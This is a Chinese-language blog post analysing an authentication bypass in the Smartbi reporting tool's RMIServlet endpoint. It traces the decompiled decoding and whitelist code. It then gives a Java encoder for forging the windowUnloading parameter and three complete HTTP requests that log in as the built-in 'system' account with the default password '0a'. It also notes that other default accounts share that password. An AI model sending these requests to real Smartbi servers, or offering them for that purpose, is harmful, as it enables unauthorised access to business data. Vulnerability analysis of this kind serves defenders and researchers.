Smartbi内置用户绕过浅析

​ Smartbi是一款国内领先的商业智能可视化报表工具,它可以将数据转化为图表、图像、表格等形式,帮助企业快速发现数据背后的价值,优化决策,提高业务效率。在众多可视化报表工具中,Smartbi以高效、易用、灵活等特点著称。

​ 在对目标站点发起请求时,后台会判断我们的请求路径是否为:"/vision/RMIServlet",如果路径正确才会接收对应的参数,若路径不正确则不会接收。

​ 他一共有三种接收参数的方式

第一种是如下图用windowUnloading的方式传入,接收以后先进行URLDecode再用内置的RMICoder.decode()进行解码,之后分别赋值给classNamemethodNameparams

1

第二种接收参数的方式是直接用POST传入,先接收classNamemethodName两个变量,最后在doPost中接收params

2

第三种接收参数的方式是用encode传入这种传入方式和第一种的windowUnloading有许多相似之处。

3

​ 看了接收参数的方式之后,我们来分析一下他们产生漏洞的原因。我们着重讲解第一种以windowUnloading方式传入。因为他们只是传参方式不同,到最后利用点都是一样的。

img

​ 通过上面的代码可以看到用windowUnloading接收到参数后会将content进行RMICoder.decode()其实最重要的也就是这一步,因为这一步会将我们输入的参数进行解码,那我们要传入参数的话必须得知道他是如何进行编码(顺带提一嘴,RMICoder.decode()RMICoder.encode()方法是不对称的,所以没办法直接进行还原)所以我们深入一下RMICoder.decode()

img

​ 再看一下CodeHandler.enCode()CodeHandler.deCode(),除了上面的方式不同,暂时还是没有明显区别。

img

​ 再往里面进getSystemCoder()

img

​ 这段代码是一个静态方法,用于获取系统编码器(ICoder对象)。

​ 首先,定义了一个字符串变量algorithName,并将其初始化为null。

​ 然后,在try块中,通过VirtualDatabaseUtil.getSystemConfigValue("NETWORK_TRANSNISSION_ALGORITHM")方法获取系统配置值,转换为字符串,并将结果赋值给algorithName。如果在获取配置值的过程中发生异常,则将异常记录到日志中,并将algorithName重新赋值为null。

​ 接下来,使用StringUtil.isNullOrEmpty(algorithName)方法判断algorithName是否为空或者空字符串。如果是,则调用CommonUtil.getNetWorkAlgorithmByJDBC()方法获取网络算法名称,并将结果赋值给algorithName。再次判断algorithName是否为空或者空字符串。如果是,则将algorithName设置为默认值”SF1″。

​ 然后,通过codersMap.get(algorithName)方法从codersMap中获取对应的ICoder对象,并将结果赋值给变量coder。

​ 接着判断coder是否为空。如果为空,则记录错误日志,并将algorithName重新设置为默认值”SF1″。然后再次通过codersMap.get(algorithName)方法从codersMap中获取对应的ICoder对象,并将结果赋值给coder。

​ 最后,返回coder作为结果。

​ 所以我们可以根据上面的加密方式构造一个对称的encode加密方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.google.common.primitives.Bytes;
import smartbi.util.codeutil.CodeHandler;

public class t {
private static byte[] encodeArray = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37, 113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0, 0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65, 33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102, 0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79, 101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0};

public static void test(){
byte[] ret = new byte[encodeArray.length];
for ( byte i: encodeArray){
if (i>0){
ret[i] = (byte)Bytes.indexOf(encodeArray,i);
}
}
encodeArray = ret;
}
public static byte[] encode(byte[] dataByte) {
int i = 0;

for (int j = 0; j < dataByte.length; ++j) {
byte tmp = dataByte[i];
if (tmp != 0 && tmp < encodeArray.length) {
byte decodeChar = encodeArray[tmp];
if (decodeChar != 0) {
dataByte[i] = decodeChar;
}
}

++i;
}

return dataByte;
}

public static void main(String[] args) {
test();
byte[] dataByte = CodeHandler.strToByteArrayByUTF8("%5B%22system%22%2C%220a%22%5D");
dataByte = encode(dataByte);

System.out.println(new String (dataByte));

}

}

​ 这样一来,我们用自定义的encode方法加密出来的数据和内置的decode方法解密出来的数据就是对称的了。

img

​ 通过上面的代码我们可以看到内部接收三个参数classNamemethodNameparams而且必须通过参数windowUnloading这个参数进行传入,传入之后会对其进行解码。

className: UserService

methodName:loginFromDB

params:[“system”,”0a”]

​ 所以我们只需要将我们传入的参数按顺序进行自定义编码进行传入即可。故构造如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /smartbi/vision/RMIServlet?windowUnloading=zDp4Wp4gRip+Sw-R6x4wdTV+/JV/uuD2Dkpd/uu/ut/uu7(/uu/JT HTTP/1.1
Host: 10.65.14.247:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.65.14.247:18080/smartbi/vision/index.jsp
Origin: http://10.65.14.247:18080
Connection: close
Cookie: FQPassword=; JSESSIONID=5A8FD28B6C3E7FABBC20B8C8C67C77C3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

a=0

​ 看到这里可能有人会问,你都已经通过GET方式传入windowUnloading了为什么要把包变成POST?我们可以先带着问题往下看。

​ 在接收到参数后程序会来到鉴权这一步,来判断我们是否已经登录,所以会跳到这个needToCheck()方法中:

img

​ 那我们再跟进一下这个needToCheck()

img

​ 可以看到这个needToCheck()内部是对白名单的检验,一旦参数符合要求就返回false,那么我们就不会进入到上面的再次验证是否登录的操作。

​ 因为我们是以POST的方式提交的数据,所以我们会来到doPost

img

​ 之后会将我们提交的params里面的值会接收传入loginFromDB(),若登录成功则会返回loginSucceed

img

​ 所以我们也就清楚了漏洞的成因,先进行白名单检验绕过,然后通过params里面传入的两个值分别是内置用户的账号和密码进行登录。

​ 在这之前还有一个问题,为什么数据要通过POST传入?

​ 我们可以构造如下请求:

1
2
3
4
5
6
7
8
9
10
11
12
GET /smartbi/vision/RMIServlet?windowUnloading=zDp4Wp4gRip+Sw-R6x4wdTV+/JV/uuD2Dkpd/uu/ut/uu7(/uu/JT HTTP/1.1
Host: 10.65.14.247:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.65.14.247:18080/smartbi/vision/index.jsp
Origin: http://10.65.14.247:18080
Connection: close
Cookie: FQPassword=; JSESSIONID=5A8FD28B6C3E7FABBC20B8C8C67C77C3
Upgrade-Insecure-Requests: 1

​ 之前的流程都是大差不差的,他虽然也会绕过之前的needToCheck(),但是GET请求会来到doGet里面:

img

doGet很简单,首先判断请求路径是否以**.js.stub结尾如果不是则会报Invalid URL**

​ 就算我们可以想办法绕过这一步,他后面也只接收一个参数className所以根本达不到利用的效果,这也就是我们为什么要用POST而不用GET的原因了。至于POST的数据可以随意构造。

​ 那么有人会问你传入的这三个参数分别是什么呢?

​ 前两个看了代码之后很好理解吧,他们两个的目的就是为了绕过再次验证用户是否登录。那第三个参数中传入的”system”和”0a”分别是内置用户的账户和密码。一共有三个默认账户,本文仅用system举例,感兴趣的师傅也可以试试其他两个,但是他们的默认密码都是“0a”。

​ 那我们再来讲和第一种比较相似的第三种传参方法,也就是用encode的方式传入:

img

​ 他不管是接收还是处理方式都和第一种很像,只不过他是通过POST的提交,之后也是先绕过needToCheck()方法,进入doPost->loginFromDB(),返回loginSucceed

​ 我提供一下我的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 10.65.14.247:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.65.14.247:18080/smartbi/vision/index.jsp
Origin: http://10.65.14.247:18080
Connection: close
Cookie: FQPassword=; JSESSIONID=5A8FD28B6C3E7FABBC20B8C8C67C77C3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

encode=zDp4Wp4gRip+Sw-R6x4wdTV+/JV/uuD2Dkpd/uu/ut/uu7(/uu/JT

​ 那么我们再看第二种,直接用POST的方式传入,这种方式是最简单直接的:

img

​ 他先会接收classNamemethodName这两个用于needToCheck,如果后续检验没问题,他也会进入到doPOST之中,最终也会接收params

img

​ 之后也是同样的处理方式。。。。。。。

​ 下附post方式的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 10.65.14.247:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.65.14.247:18080/smartbi/vision/index.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://10.65.14.247:18080
Connection: close
Cookie: FQPassword=; JSESSIONID=5A8FD28B6C3E7FABBC20B8C8C67C77C3
Upgrade-Insecure-Requests: 1

className=UserService&methodName=loginFromDB&params=["system","0a"]

——不及跬步无以至千里,不积小流无以成江河。


Smartbi内置用户绕过浅析
http://example.com/2023/07/21/Smartbi内置用户绕过浅析/
作者
Yuanyi
发布于
2023年7月21日
许可协议